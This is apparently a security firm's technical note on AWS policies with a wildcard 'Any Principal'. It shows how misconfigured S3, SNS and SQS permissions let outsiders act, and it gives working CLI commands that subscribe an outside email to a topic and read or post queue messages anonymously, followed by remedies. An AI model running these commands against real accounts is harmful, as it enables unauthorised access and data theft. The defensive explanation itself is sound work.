Technical Note: How to strengthen 'Any Principal Policies' in AWS

Caspar camille rubin f Pkv U7 R Dm Co unsplash

The “Any Principal” Rule:

Within AWS, IAM is the main service which allows you to provision access controls across other services, users, roles, groups and everything in between. This means that you can allow someone to have access to a single resource such as S3 and nothing else. Many policies however, utilise the “*” wildcard which means “ANY”.

In the case of the principal value, “ANY” or “*”, it indicates that literally anyone who uses AWS services is able to call upon your role or service and execute a number of actions. For example if my bucket policy has the Principal set to “*” and the resource whitelisted to that one bucket, an external anonymous user would be able to carry out PUT and DELETE requests to that bucket and its objects as well as a GET request where they can directly download something from that bucket.

Strangely enough, when you try to list the contents of the bucket, you will get a permission denied error, but if you know the direct path, you can still download the object. So anyone with enough time on their hands would be able to filter through the possible outcomes and slowly but surely download the entirety of the bucket. It should be mentioned that the “Block Public Access” settings on the bucket itself must be off for this to take place.

The sample policy looks like the following:

{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": "*", "Action": "s3:*", "Resource": "arn:aws:s3:::myamazingbucket/*" } ] }


This is a misconfiguration often caused by misunderstanding of how the policies work, and attempting to make a bucket public for webhosting or resource sharing. This particular scenario was discovered in a bucket labeled with keywords “dev” and “resources” which held a number of Postman collections for API testing amongst other things.

It may not seem critical, however being able to PUT resources into someone else’s bucket could be exploited and escalate very quickly. If the same configuration is held for a bucket used for web hosting, I could very easily replace the index.html file with my own equivalent which could lead users to other websites and execute a range of attacks that way.

AWS SNS

Amazon Simple Notification Service (Amazon SNS) is a web service that coordinates and manages the delivery or sending of messages to subscribing endpoints or clients. These often include updates regarding the infrastructure, resources and other aspects of the account.

We have found that permissions such as “Publish”, “Subscribe” and “Receive” are often applied to SNS topics individually, whilst using the wildcard for the principal. Once again this means that external users are able to carry out these actions as long as they know the ARN of the topic itself.

Unlike other services, SNS does not like the “ --no-sign-request” flag which sends an AWS command anonymously with no authentication token, instead it prompts an error stating that an authentication token is required, however that token can be any token. This was tested by submitting a “Subscribe” and “Publish” requests with AWS Access Keys from an entirely separate account, where we whitelisted our own e-mail address to a topic and sent a message to it to confirm that it worked. Additionally, after the topic subscription was live for 12 hours, we received a number of notifications (over 200) stating the resource update states, any new files posted, SFTP information and some other interesting findings.

By being able to self-approve the e-mail request and confirm that we are a real entity, AWS accepts this command as per its SNS policies and lets us view every notification that goes through that particular topic.

Command to subscribe:

aws sns subscribe --topic-arn "arn:aws:sns:us-east-1:123456789:my-amazing-topic" --protocol email --notification-endpoint [email protected] --profile myprofile --region us-east-1

The command to publish a notification looks like this:

aws sns publish --topic-arn "arn:aws:sns:us-east-1:123456789:my-amazing-topic" --message "Hello World!" --profile myprofile --region us-east-1


The information is sent directly to the new inbox, and unless the staff are reviewing CloudTrail logs as well as the SNS topics themselves, this is likely to go unnoticed as SNS is a service you setup once and forget about later on. Insider information could be gained in the shape of internal endpoints, users, technologies utilised, what stacks are deployed and when the deployment windows are, all leading up to a very nice profile for an attacker to use.

AWS SQS Amazon SQS is a managed message queue service which allows for input and output of messages via HTTP API which can be distributed across applications.

SQS utilises a very similar permission model as SNS, where each queue can utilise its own permissions outside of the IAM service. In this particular case we identified the following actions on a number of queues:

  • Change Message Visibility
  • Delete Message
  • Purge Queue
  • Receive Message
  • Get Queue Attributes
  • Get Queue URL

It should be noted that some requests can be carried out with the flag “--no-sign-request” whereas others require an authentication token which means any other profile from any other AWS account is able to send requests to modify the queue in more ways than one. .

Posting a message:

aws sqs send-message --queue-url https://sqs.us-east-1.amazonaws.com/123456789/my-amazing-queue --message-body "Hello World!" --delay-seconds 10 --message-attributes file://send-message.json --no-sign-request{ "MD5OfMessageBody": "e8ea7a8d1e93e8764a84a0f3df4644de", "MD5OfMessageAttributes": "e8e27a8d1e53e8764a8470f3hw4644de", "MessageId": "015623b0-4043-4614-af89-4ds7h5f1s7w5g"}


The policy listed below allows all SQS actions to be performed against this queue as the principal is stated as “any”. Policy which allows anonymous users to post messages:


 "Statement": [{ "Action": [ "SQS:SendMessage" ], "Condition": { "StringEquals": { "aws:SourceArn": "arn:aws:sns:us-east-1:123456789/my-amazing-queue" } },<b> "Effect": "Allow",</b><b> "Principal": {</b><b> "AWS": "*"</b><b> },</b><b> "Resource": "arn:aws:sqs:us-east-1:123456789/my-amazing-queue",</b><b> "Sid": "topic_sendmessage"</b><b>}</b> ] , "Version": "2008-10-17"



Receiving messages in queue:


aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/123456789/my-amazing-queue --attribute-names All --message-attribute-names All --max-number-of-messages 10 --no-sign-request
{ "Messages": [ { "MessageId": "015623b0-4043-4614-af89-4ds7h5f1s7w5g", "ReceiptHandle": "U3RvcCByZWFkaW5nIEJhc2U2NCBvbiB0aGUgaW50ZXJuZXQuIEl0cyBub3QgZ29vZCBmb3IgeW91Lg==", "MD5OfBody": "e8ea7a8d1e93e8764a84a0f3df4644de", "Body": "6ag21-12be-11eb-8b49-048hj8w0g4w\nIDENTIFY_IMPORT_FILE", "Attributes": { "SenderId": "ABCDEFG12346789:i-0125s47h8w6a1g7g98w", "ApproximateFirstReceiveTimestamp": "1603192930557", "ApproximateReceiveCount": "1", "SentTimestamp": "1603192929788" } } ]}


Viewing the queue attributes:


aws sqs get-queue-attributes --queue-url https://sqs.us-east-1.amazonaws.com/123456789/my-amazing-queue --attribute-names All --no-sign-request
{ "Attributes": { "QueueArn": "arn:aws:sqs.us-east-1.amazonaws.com/123456789/my-amazing-queue", "ApproximateNumberOfMessages": "0", "ApproximateNumberOfMessagesNotVisible": "12", "ApproximateNumberOfMessagesDelayed": "0", "CreatedTimestamp": "1513934804", "LastModifiedTimestamp": "1513936560", "VisibilityTimeout": "180", "MaximumMessageSize": "262144", "MessageRetentionPeriod": "604800", "DelaySeconds": "0", "ReceiveMessageWaitTimeSeconds": "0" }}



The critical part of the policy is to have this conditional in place:

"Resource": "arn:aws:sqs.us-east-1.amazonaws.com/123456789/my-amazing-queue", "Condition": { "StringEquals": { "AWS:SourceOwner": "123456789" }

The conditional above makes sure that any request to be processed, has to originate from the source account otherwise it will be rejected. The attacks above were successful as additional rules for Publish and Subscribe were created without the conditional string in place.

Remedy

The whole point of this is to illustrate that by specifying any principal, it does not mean anyone within your account but instead anyone globally. When creating resources, roles and users, make sure that each policy attached or created is a custom one where possible or at least verify that the appropriate entities are whitelisted as the principal.

The principle of least privilege should be applied to everything that you manage within your account, to ensure that users and other services have only the minimum access required to perform their day to day tasks. Even changing the principal to the account number instead of “any” is a help as it limits the actors to your account only (although not ideal). Where possible ensure that minimum required conditionals are in place as well, whether whitelisting the account itself or users/roles individually, these are a good way to meet some requirements before processing a request fully.

By being able to manage and view the resources mentioned above, it is possible to create a very detailed profile on the organisation using these resources, to craft new attacks and target services individually with insider knowledge.

Need help?

Email Us
email hidden; JavaScript is required

Or send us a quick message

This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.